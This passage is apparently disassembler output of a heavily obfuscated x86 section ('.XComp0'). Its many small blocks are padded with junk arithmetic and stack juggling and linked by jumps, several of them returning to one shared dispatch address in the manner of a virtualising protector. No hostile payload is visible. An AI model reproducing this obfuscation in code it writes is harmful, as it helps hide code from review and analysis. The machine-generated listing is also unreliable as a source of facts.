loc_574975:				; CODE XREF: .XComp0:00577DDCj
		pop	ebx
		neg	ebx
		jmp	loc_57CC0D
; ---------------------------------------------------------------------------


loc_57497D:				; CODE XREF: .XComp0:0057C4B3j
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5816C1
; ---------------------------------------------------------------------------


loc_57498F:				; CODE XREF: .XComp0:005815CDj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	52F8h
		mov	[esp], ecx
		mov	ecx, 3DC3B27h
		jmp	loc_57B254
; ---------------------------------------------------------------------------


loc_5749B6:				; CODE XREF: .XComp0:00576806j
		pop	bx
		xor	[esp], al
		xor	al, [esp]
		jmp	loc_57DBDA
; ---------------------------------------------------------------------------


loc_5749C3:				; CODE XREF: .XComp0:0057E215j
		mov	si, 406Ah
		xor	si, 7FD7h
		add	ax, si
		mov	esi, [esp]
		push	785h
		mov	[esp], edi
		push	esp
		jmp	loc_5819A4
; ---------------------------------------------------------------------------


loc_5749E0:				; CODE XREF: .XComp0:00582830j
		push	67F3h
		mov	[esp], esi
		mov	esi, 11E014F9h
		and	esi, 6A190B40h
		push	ebp
		mov	ebp, 6BD45DF9h
		add	esi, ebp
		jmp	loc_574ADB
; ---------------------------------------------------------------------------


loc_574A00:				; CODE XREF: .XComp0:0057995Ej
		pop	esi
		jmp	loc_57E21A
; ---------------------------------------------------------------------------


loc_574A06:				; CODE XREF: .XComp0:0057FADAj
		sub	al, bl
		jmp	loc_57B197
; ---------------------------------------------------------------------------


loc_574A0D:				; CODE XREF: .XComp0:0058179Fj
		and	ebx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5819CB
; ---------------------------------------------------------------------------


loc_574A20:				; CODE XREF: .XComp0:00576CE4j
					; .XComp0:00580CF1j ...
		mov	ebx, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	ebp
		jmp	loc_573A01
; ---------------------------------------------------------------------------


loc_574A2C:				; CODE XREF: .XComp0:0057A0B7j
		add	ebx, esi
		add	ebx, 2FB25D7Ch
		pop	esi
		add	ebx, 1
		jmp	loc_57ABF7
; ---------------------------------------------------------------------------


loc_574A3D:				; CODE XREF: .XComp0:005832D4j
		add	esp, 4
		add	esp, 4
		jmp	loc_5780B7
; ---------------------------------------------------------------------------


loc_574A48:				; CODE XREF: .XComp0:0057E2E1j
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5800F0
; ---------------------------------------------------------------------------


loc_574A57:				; CODE XREF: .XComp0:005812B3j
		pop	edx
		push	dword ptr [esp]
		pop	esi
		jmp	loc_582DCD
; ---------------------------------------------------------------------------


loc_574A61:				; CODE XREF: .XComp0:00580F83j
		sub	dh, al
		jmp	loc_581E34
; ---------------------------------------------------------------------------


loc_574A68:				; CODE XREF: .XComp0:0057F580j
		pop	edi
		xor	esi, ebx
		jmp	loc_57D746
; ---------------------------------------------------------------------------


loc_574A70:				; CODE XREF: .XComp0:00583450j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_581D6A
; ---------------------------------------------------------------------------


loc_574A85:				; CODE XREF: .XComp0:0057F657j
		pop	esp
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_574A9C:				; CODE XREF: .XComp0:0057E43Cj
		sub	eax, ebx
		jmp	loc_579944
; ---------------------------------------------------------------------------


loc_574AA3:				; CODE XREF: .XComp0:0057AF2Dj
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_57F29A
; ---------------------------------------------------------------------------


loc_574AB7:				; CODE XREF: .XComp0:00574435j
		pop	ebx
		add	esp, 4
		jmp	loc_580179
; ---------------------------------------------------------------------------


loc_574AC0:				; CODE XREF: .XComp0:005816B1j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_57ED87
; ---------------------------------------------------------------------------


loc_574ACE:				; CODE XREF: .XComp0:0057D4E0j
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_575A89
; ---------------------------------------------------------------------------


loc_574ADB:				; CODE XREF: .XComp0:005749FBj
		pop	ebp
		not	esi
		sub	esi, 3BB97E1Dh
		mov	ebx, esi
		pop	esi
		xor	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_576311
; ---------------------------------------------------------------------------


loc_574AF2:				; CODE XREF: .XComp0:00581E17j
		or	ebp, 0DBE5821h
		add	ebp, 2A37A2CBh
		add	eax, 175D0376h
		add	eax, ebp
		sub	eax, 175D0376h
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		sub	eax, 6EB00A28h
		add	eax, ebp
		add	eax, 6EB00A28h
		jmp	loc_57D629
; ---------------------------------------------------------------------------


loc_574B2A:				; CODE XREF: .XComp0:00580EABj
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		jmp	loc_57E297
; ---------------------------------------------------------------------------


loc_574B35:				; CODE XREF: .XComp0:0057BE2Cj
		pop	edi
		or	ebp, ebx
		pop	ebx
		add	ebp, 3EC63239h
		mov	esi, ebp
		pop	ebp
		xor	esi, ebx
		pop	ebx
		or	esi, 6E9B0777h
		push	6C4Eh
		mov	[esp], eax
		mov	eax, 9100FA81h
		add	esi, 5DA91FE8h
		add	esi, 1CF74F27h
		add	esi, eax
		sub	esi, 1CF74F27h
		sub	esi, 5DA91FE8h
		jmp	loc_577471
; ---------------------------------------------------------------------------


loc_574B77:				; CODE XREF: .XComp0:005808C4j
		xchg	eax, [esp]
		pop	esp
		bswap	eax
		push	31FBh
		jmp	loc_57CF1C
; ---------------------------------------------------------------------------


loc_574B87:				; CODE XREF: .XComp0:00574559j
		add	esp, 4
		jmp	loc_580C4C
; ---------------------------------------------------------------------------


loc_574B92:				; CODE XREF: .XComp0:005802FEj
		sub	ebp, 7F9A33F0h
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	69C9h
		mov	[esp], edi
		mov	edi, 71CA02B0h
		sub	eax, edi
		pop	edi
		add	eax, ebp
		add	eax, 71CA02B0h
		pop	ebp
		jmp	loc_575E21
; ---------------------------------------------------------------------------


loc_574BCB:				; CODE XREF: .XComp0:0057D766j
		mov	ebx, 5A4374C9h
		sub	ebx, 79404D79h
		add	ebx, 84A0E6B4h
		sub	esi, ebx
		pop	ebx
		jmp	loc_575FDB
; ---------------------------------------------------------------------------


loc_574BE4:				; CODE XREF: .XComp0:00581046j
		and	eax, 11852586h
		sub	eax, 1687615Bh
		push	edi
		mov	edi, 6FD127E1h
		jmp	loc_577CFF
; ---------------------------------------------------------------------------


loc_574BF9:				; CODE XREF: .XComp0:00579D6Dj
		mov	ebx, 215072CDh
		or	ebx, 4F4E5915h
		xor	ebx, 27E36614h
		inc	ebx
		xor	ebx, 70692552h
		sub	ecx, ebx
		pop	ebx
		add	ecx, esi
		add	ecx, 38D43898h
		jmp	loc_57EC49
; ---------------------------------------------------------------------------


loc_574C21:				; CODE XREF: .XComp0:005764D8j
		mov	[esp], ecx
		push	eax
		mov	ah, dl
		push	edx
		jmp	loc_57BF60
; ---------------------------------------------------------------------------


loc_574C2D:				; CODE XREF: .XComp0:0057522Aj
		push	ebx
		jmp	loc_577688
; ---------------------------------------------------------------------------


loc_574C33:				; CODE XREF: .XComp0:005739FCj
		push	ebp
		mov	ebp, 5CBD4B5Eh
		jmp	loc_582B97
; ---------------------------------------------------------------------------


loc_574C3E:				; CODE XREF: .XComp0:0057E31Aj
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		jmp	loc_57D517
; ---------------------------------------------------------------------------


loc_574C49:				; CODE XREF: .XComp0:0057781Ej
		pop	ebp
		add	ecx, 64437C2h
		shl	ecx, 6
		push	1F24h
		mov	[esp], eax
		push	546C6E4Bh
		pop	eax
		jmp	loc_5775A0
; ---------------------------------------------------------------------------


loc_574C66:				; CODE XREF: .XComp0:0057EA8Fj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	26E4h
		mov	[esp], edi
		push	esi
		jmp	loc_57E141
; ---------------------------------------------------------------------------


loc_574C7B:				; CODE XREF: .XComp0:00580655j
		add	cl, al
		pop	eax
		sub	cl, 0BDh
		and	ah, cl
		jmp	loc_574210
; ---------------------------------------------------------------------------


loc_574C88:				; CODE XREF: .XComp0:0057B9DEj
		pop	esi
		not	eax
		sub	eax, 85143B6Eh
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, ebx
		pop	ebx
		push	ebx
		push	ebp
		push	6A5507E8h
		pop	ebp
		add	ebp, 760A7ED9h
		sub	ebp, 30946ABEh
		push	edx
		mov	edx, 0F8330E5h
		or	edx, 7A314F04h
		shr	edx, 8
		xor	edx, 504B5080h
		add	ebp, edx
		pop	edx
		push	ebp
		xor	dword ptr [esp], 79862211h
		pop	ebx
		jmp	loc_575CDD
; ---------------------------------------------------------------------------


loc_574CD5:				; CODE XREF: .XComp0:00580580j
		sub	ecx, 0C2ECFA35h
		mov	edx, ecx
		pop	ecx
		push	edx
		mov	edx, 4FDC42FEh
		shl	edx, 8
		sub	edx, 8094CA88h
		add	ecx, edx
		pop	edx
		jmp	loc_582382
; ---------------------------------------------------------------------------


loc_574CF5:				; CODE XREF: .XComp0:005780FCj
		push	edx
		jmp	loc_580D0D
; ---------------------------------------------------------------------------


loc_574CFB:				; CODE XREF: .XComp0:0057D1E4j
		xor	edi, edx
		mov	edx, [esp]
		push	ebx
		jmp	loc_582DDA
; ---------------------------------------------------------------------------


loc_574D06:				; CODE XREF: .XComp0:0057BB54j
		pop	ebx
		add	eax, 31F83964h
		jmp	loc_57D0E0
; ---------------------------------------------------------------------------


loc_574D11:				; CODE XREF: .XComp0:00583113j
		add	edx, ecx
		pop	ecx
		add	edx, ebx
		push	eax
		mov	eax, 75092CB8h
		push	edi
		mov	edi, 4A212D3Bh
		or	eax, edi
		jmp	loc_57B1D1
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		push	esp
		jmp	loc_573D04
; ---------------------------------------------------------------------------


loc_574D3D:				; CODE XREF: .XComp0:005835E5j
		xchg	ebp, esi
		not	esi
		and	esi, 79B05850h
		push	edx
		mov	edx, 2B0F50CFh
		and	edx, 3C0C3687h
		shl	edx, 8
		dec	edx
		xor	edx, 0E7EC8E2Ch
		add	esi, edx
		pop	edx
		add	ebx, esi
		pop	esi
		add	ebx, eax
		sub	ebx, 4D0C4913h
		push	ecx
		mov	ecx, 36066F9Dh
		xor	ecx, 7A3E38FAh
		dec	ecx
		jmp	loc_575F9F
; ---------------------------------------------------------------------------


loc_574D7D:				; CODE XREF: .XComp0:00575AD7j
		add	eax, 4
		jmp	loc_5812B8
; ---------------------------------------------------------------------------


loc_574D87:				; CODE XREF: .XComp0:0057BB79j
		dec	eax
		jmp	loc_575D6E
; ---------------------------------------------------------------------------


loc_574D8D:				; CODE XREF: .XComp0:00578A56j
		push	33EB4DB8h
		pop	ecx
		inc	ecx
		jmp	loc_57CA71
; ---------------------------------------------------------------------------


loc_574D99:				; CODE XREF: .XComp0:0057F6C3j
		add	bl, 65h
		jmp	loc_57860B
; ---------------------------------------------------------------------------


loc_574DA1:				; CODE XREF: .XComp0:005809A6j
		or	edx, 5CC243DBh
		or	edx, 0FD03E13h
		add	edx, 3DE11900h
		xor	edx, 40464BC4h
		and	edx, 62137880h
		push	eax
		jmp	loc_57A8C7
; ---------------------------------------------------------------------------


loc_574DC5:				; CODE XREF: .XComp0:0057ED88j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		pop	esi
		xchg	ecx, esi
		xchg	eax, ecx
		not	eax
		xchg	eax, ecx
		xchg	ecx, esi
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_580AFA
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		jmp	loc_574E51
; ---------------------------------------------------------------------------


loc_574DFB:				; CODE XREF: .XComp0:00577A0Dj
		dec	eax
		not	eax
		not	eax
		add	eax, 61B57357h
		jmp	loc_57B26D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5811DB
; ---------------------------------------------------------------------------


loc_574E13:				; CODE XREF: .XComp0:0057D917j
		not	ebx
		push	ebx
		inc	dword ptr [esp]
		jmp	loc_57618C
; ---------------------------------------------------------------------------


loc_574E1E:				; CODE XREF: .XComp0:0057F8F4j
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58086A
; ---------------------------------------------------------------------------
		lodsd
		push	1AC3h
		mov	[esp], esi
		push	edi
		mov	edi, 2A193659h
		push	eax
		mov	eax, edi
		mov	esi, eax
		pop	eax
		jmp	loc_57D999
; ---------------------------------------------------------------------------


loc_574E51:				; CODE XREF: .XComp0:00574DF6j
		mov	dl, 0F8h
		add	al, dl
		mov	edx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	al, bl
		push	4AAFh
		mov	[esp], ecx
		push	eax
		push	ebx
		mov	bh, 5Ah
		mov	al, bh
		pop	ebx
		push	eax
		mov	ah, 0CEh
		jmp	loc_581638
; ---------------------------------------------------------------------------


loc_574E84:				; CODE XREF: .XComp0:0057E25Dj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_581E48
; ---------------------------------------------------------------------------


loc_574E9F:				; CODE XREF: .XComp0:00579F6Cj
		push	480Bh
		mov	[esp], eax
		mov	eax, 0A517BA0h
		jmp	loc_5761C8
; ---------------------------------------------------------------------------


loc_574EB1:				; CODE XREF: .XComp0:00573FD9j
		shr	edi, 3
		jmp	loc_5830E4
; ---------------------------------------------------------------------------


loc_574EB9:				; CODE XREF: .XComp0:00579F75j
		push	107Bh
		mov	[esp], esi
		push	esp
		jmp	loc_5825A1
; ---------------------------------------------------------------------------


loc_574EC7:				; CODE XREF: .XComp0:00575B1Fj
		push	edi
		jmp	loc_57AB29
; ---------------------------------------------------------------------------


loc_574ECD:				; CODE XREF: .XComp0:00581473j
		mov	ebx, 1A58098Ch
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_577994
; ---------------------------------------------------------------------------


loc_574EDD:				; CODE XREF: .XComp0:0057A229j
		or	eax, 4AFF272Ah
		sub	eax, 26D0274Ch
		add	eax, 1F6A3D2Dh
		not	eax
		dec	eax
		jmp	loc_5745C9
; ---------------------------------------------------------------------------


loc_574EF4:				; CODE XREF: .XComp0:00575BE5j
		sub	edi, 6A371273h
		add	edi, eax
		jmp	loc_574237
; ---------------------------------------------------------------------------


loc_574F01:				; CODE XREF: .XComp0:005819BDj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58229A
; ---------------------------------------------------------------------------


loc_574F16:				; CODE XREF: .XComp0:00581A55j
		mov	ah, ch
		push	edx
		mov	dh, ah
		mov	bh, dh
		pop	edx
		jmp	loc_57BE9F
; ---------------------------------------------------------------------------


loc_574F23:				; CODE XREF: .XComp0:00576DD5j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_57A108
; ---------------------------------------------------------------------------


loc_574F2F:				; CODE XREF: .XComp0:00578883j
		or	cl, 9Dh
		not	cl
		push	edx
		mov	dh, 4
		sub	dh, 2
		or	dh, 30h
		shr	dh, 7
		push	ebx
		mov	bl, 53h
		inc	bl
		sub	bl, 92h
		jmp	loc_580C44
; ---------------------------------------------------------------------------


loc_574F4D:				; CODE XREF: .XComp0:0057BAF0j
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_577B18
; ---------------------------------------------------------------------------


loc_574F5F:				; CODE XREF: .XComp0:0057FA2Fj
		push	66B9h
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_57D14A
; ---------------------------------------------------------------------------


loc_574F85:				; CODE XREF: .XComp0:00576E37j
		mov	ebp, esp
		push	14A4h
		mov	[esp], edx
		mov	edx, 58465292h
		inc	edx
		shr	edx, 3
		add	edx, 59DF0750h
		and	edx, 238418D3h
		sub	edx, 2084107Eh
		add	ebp, edx
		pop	edx
		add	ebp, 4
		jmp	loc_573749
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		jmp	loc_57D3BA
; ---------------------------------------------------------------------------


loc_574FD1:				; CODE XREF: .XComp0:00573D68j
		or	ebx, esi
		pop	esi
		push	ecx
		mov	ecx, 1BEF05C1h
		dec	ecx
		xor	ecx, 2C9F69FDh
		or	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	ebx, 467B2BF1h
		add	ebx, 4FDC47E2h
		jmp	loc_5789C4
; ---------------------------------------------------------------------------


loc_574FFD:				; CODE XREF: .XComp0:00573F7Cj
		add	edi, 4
		push	eax
		mov	eax, 4
		jmp	loc_57D8FA
; ---------------------------------------------------------------------------


loc_57500E:				; CODE XREF: .XComp0:00578017j
		sub	edi, 4CD6569Dh
		pop	edx
		xchg	edi, [esp]
		jmp	loc_573E63
; ---------------------------------------------------------------------------


loc_57501D:				; CODE XREF: .XComp0:0058240Dj
		mov	edx, 22367D8h
		or	edi, edx
		pop	edx
		and	edi, 47095DD4h
		neg	edi
		jmp	loc_57B1D9
; ---------------------------------------------------------------------------


loc_575032:				; CODE XREF: .XComp0:005739C2j
		mov	ebx, 6BC7789h
		shr	ebx, 1
		push	ecx
		jmp	loc_5742B6
; ---------------------------------------------------------------------------


loc_57503F:				; CODE XREF: .XComp0:0057CCF4j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_57BD41
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_5767E2
; ---------------------------------------------------------------------------


loc_575054:				; CODE XREF: .XComp0:0057F67Bj
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57505F:				; CODE XREF: .XComp0:0057F897j
		pop	ebp
		add	esp, 4
		push	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	eax, [esp]
		jmp	loc_57EE3F
; ---------------------------------------------------------------------------


loc_575075:				; CODE XREF: .XComp0:0057516Aj
		mov	edi, 6B8E48D0h
		or	ebp, edi
		pop	edi
		sub	ebp, 6B8E5CCCh
		sub	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 400h
		and	eax, ecx
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_575D5D
; ---------------------------------------------------------------------------


loc_5750C0:				; CODE XREF: .XComp0:00576812j
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_57D277
; ---------------------------------------------------------------------------


loc_5750CB:				; CODE XREF: .XComp0:00574944j
		mov	[esp], edi
		mov	edi, 47FE54E2h
		jmp	loc_57D67E
; ---------------------------------------------------------------------------


loc_5750D8:				; CODE XREF: .XComp0:0057D8ACj
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_573541
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57510B:				; CODE XREF: .XComp0:005808F7j
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5767FE
; ---------------------------------------------------------------------------


loc_575115:				; CODE XREF: .XComp0:0057F068j
		mov	[esp], ax
		push	edx
		mov	dl, 63h
		or	dl, 11h
		sub	dl, 39h
		inc	dl
		neg	dl
		xor	dl, 0B1h
		jmp	loc_577D12
; ---------------------------------------------------------------------------


loc_57512E:				; CODE XREF: .XComp0:0057A951j
		push	esi
		mov	esi, 37266A24h
		add	[esp+4], esi
		pop	esi
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_582235
; ---------------------------------------------------------------------------


loc_575154:				; CODE XREF: .XComp0:00580BC9j
		add	ebx, 3D8F22EDh
		and	ebx, 501D6B02h
		xor	ebx, 699E1D17h
		and	ebp, ebx
		pop	ebx
		push	edi
		jmp	loc_575075
; ---------------------------------------------------------------------------


loc_57516F:				; CODE XREF: .XComp0:00575688j
		and	ebp, 75D47E2Dh
		shr	ebp, 6
		jmp	loc_5830A5
; ---------------------------------------------------------------------------


loc_57517D:				; CODE XREF: .XComp0:00576022j
		push	eax
		jmp	loc_581CEE
; ---------------------------------------------------------------------------


loc_575183:				; CODE XREF: .XComp0:00573DB7j
		pop	esp
		push	1646h
		mov	[esp], edi
		mov	edi, 213FDEBAh
		xor	eax, edi
		push	dword ptr [esp]
		jmp	loc_57C8D8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2DF5h
		mov	[esp], ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		mov	edi, 193C503Bh
		mov	ebx, 193C503Fh
		sub	ebx, edi
		pop	edi
		push	edi
		mov	edi, 35C75301h
		add	ebp, edi
		pop	edi
		jmp	loc_575CBC
; ---------------------------------------------------------------------------


loc_5751CB:				; CODE XREF: .XComp0:00575981j
		add	edi, 4
		jmp	loc_573715
; ---------------------------------------------------------------------------


loc_5751D6:				; CODE XREF: .XComp0:00581408j
		pop	eax
		mov	al, 9Ah
		sub	al, bh
		jmp	loc_5766C8
; ---------------------------------------------------------------------------


loc_5751E0:				; CODE XREF: .XComp0:0057B3E1j
		sub	[edi+24h], ebx
		pop	ebx


loc_5751E4:				; CODE XREF: .XComp0:0057ACE2j
		push	176Eh
		mov	[esp], ecx
		push	edi
		push	ebx
		xor	dword ptr [esp], 5AB70C91h
		pop	edi
		xor	edi, 5AB70C91h
		push	5B24h
		mov	[esp], esi
		jmp	loc_583371
; ---------------------------------------------------------------------------


loc_575209:				; CODE XREF: .XComp0:0057BD37j
		sub	ebp, ecx
		jmp	loc_57B833
; ---------------------------------------------------------------------------


loc_575210:				; CODE XREF: .XComp0:00582E0Ej
		pop	dword ptr [esp]
		jmp	loc_5824C2
; ---------------------------------------------------------------------------


loc_575218:				; CODE XREF: .XComp0:005835B7j
		mov	ebp, 57D029ECh
		jmp	loc_576EFC
; ---------------------------------------------------------------------------


loc_575222:				; CODE XREF: .XComp0:00582F44j
		not	ebx
		jmp	loc_57F5AF
; ---------------------------------------------------------------------------
		push	esi
		jmp	loc_574C2D
; ---------------------------------------------------------------------------


loc_57522F:				; CODE XREF: .XComp0:00583124j
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_5815F3
; ---------------------------------------------------------------------------


loc_57523F:				; CODE XREF: .XComp0:0058301Ej
		xor	ecx, 79A46E76h
		and	ecx, 98F03E6h
		add	ecx, 5D32936h
		jmp	loc_57F1C5
; ---------------------------------------------------------------------------


loc_575256:				; CODE XREF: .XComp0:0057E1A6j
		shl	edi, 5
		dec	edi
		xor	edi, 315F8AE7h
		jmp	loc_57CAAF
; ---------------------------------------------------------------------------


loc_575265:				; CODE XREF: .XComp0:00578BD8j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_57360B
; ---------------------------------------------------------------------------


loc_575275:				; CODE XREF: .XComp0:005770E1j
		add	esi, 481A3F75h
		push	eax
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		jmp	loc_576C39
; ---------------------------------------------------------------------------


loc_57528C:				; CODE XREF: .XComp0:0057AB88j
		pop	ecx
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_574075
; ---------------------------------------------------------------------------


loc_57529A:				; CODE XREF: .XComp0:0057E532j
		push	edx
		push	ecx
		push	12702448h
		mov	ecx, [esp]
		add	esp, 4
		shr	ecx, 2
		jmp	loc_57B238
; ---------------------------------------------------------------------------


loc_5752B2:				; CODE XREF: .XComp0:0057F9F7j
		push	esi
		mov	esi, 99ABAC8h
		jmp	loc_579574
; ---------------------------------------------------------------------------


loc_5752BD:				; CODE XREF: .XComp0:005793E0j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 2
		add	esi, eax
		pop	eax
		push	1BB7h
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_57B1AB
; ---------------------------------------------------------------------------


loc_5752DD:				; CODE XREF: .XComp0:0057E4CDj
		push	eax
		mov	eax, 3A9C77B1h
		sub	esi, eax
		pop	eax
		neg	esi
		add	esi, 0D58788D5h
		add	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	edx, 2
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_575320:				; CODE XREF: .XComp0:00576FD1j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	25DFh
		mov	[esp], edx
		jmp	loc_573F48
; ---------------------------------------------------------------------------


loc_57533F:				; CODE XREF: .XComp0:0057987Aj
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		jmp	loc_576A4E
; ---------------------------------------------------------------------------


loc_575353:				; CODE XREF: .XComp0:005826B8j
		shr	ebp, 7
		sub	ebp, 38474ED7h
		push	481h
		mov	[esp], edi
		mov	edi, 0C97C5F71h
		sub	ebp, edi
		pop	edi
		jmp	loc_57AB42
; ---------------------------------------------------------------------------


loc_575371:				; CODE XREF: .XComp0:005799CDj
		push	edi
		push	esi
		push	ebx
		mov	ebx, 3C170FEAh
		mov	esi, 24A30F4Fh
		jmp	loc_579CF2
; ---------------------------------------------------------------------------


loc_575383:				; CODE XREF: .XComp0:00581456j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_576EED
; ---------------------------------------------------------------------------


loc_57538E:				; CODE XREF: .XComp0:0057D7F1j
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_575436
; ---------------------------------------------------------------------------


loc_5753A5:				; CODE XREF: .XComp0:005783D5j
		push	edi
		push	ecx
		mov	ecx, 3A95131Dh
		mov	edi, 3A951319h
		jmp	loc_57958A
; ---------------------------------------------------------------------------


loc_5753B6:				; CODE XREF: .XComp0:0057FA27j
		mov	[esp], edx
		mov	edx, 59C92C5Eh
		not	edx
		inc	edx
		and	edx, 7D1B3A34h
		dec	edx
		xor	edx, 71C025E6h
		or	eax, edx
		pop	edx
		add	eax, 1
		xor	eax, 984CAA13h
		jmp	loc_579D21
; ---------------------------------------------------------------------------


loc_5753E0:				; CODE XREF: .XComp0:0057ADC5j
		pop	eax
		push	edx
		jmp	loc_57A60D
; ---------------------------------------------------------------------------


loc_5753E7:				; CODE XREF: .XComp0:0058259Cj
		dec	eax
		jmp	loc_57E9E9
; ---------------------------------------------------------------------------


loc_5753ED:				; CODE XREF: .XComp0:005805E6j
		neg	byte ptr [esp+1]
		jmp	loc_579656
; ---------------------------------------------------------------------------


loc_5753F6:				; CODE XREF: .XComp0:005836E6j
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_57D9EF
; ---------------------------------------------------------------------------


loc_575412:				; CODE XREF: .XComp0:005756E3j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	eax, 4F926C79h
		mov	edi, [esp]
		push	edx
		jmp	loc_576DE7
; ---------------------------------------------------------------------------


loc_57542F:				; CODE XREF: .XComp0:005825BCj
		pop	esp
		push	ecx
		jmp	loc_57B0B0
; ---------------------------------------------------------------------------


loc_575436:				; CODE XREF: .XComp0:005753A0j
		push	5636h
		mov	[esp], ebx
		push	eax
		mov	eax, 11195024h
		mov	ebx, eax
		pop	eax
		mov	eax, ebx
		pop	ebx
		mov	edi, 0F5B71A33h
		add	edi, eax
		pop	eax
		jmp	loc_5820AB
; ---------------------------------------------------------------------------


loc_575457:				; CODE XREF: .XComp0:005735ECj
		mov	esi, 468703B9h
		sub	esi, 6F16374h
		or	esi, 41EC1478h
		sub	esi, 5C1A77D9h
		add	esi, 0DC1CC360h
		jmp	loc_57CA7E
; ---------------------------------------------------------------------------


loc_575479:				; CODE XREF: .XComp0:00575B2Cj
		pop	ebp
		and	edi, ebx
		jmp	loc_579CE6
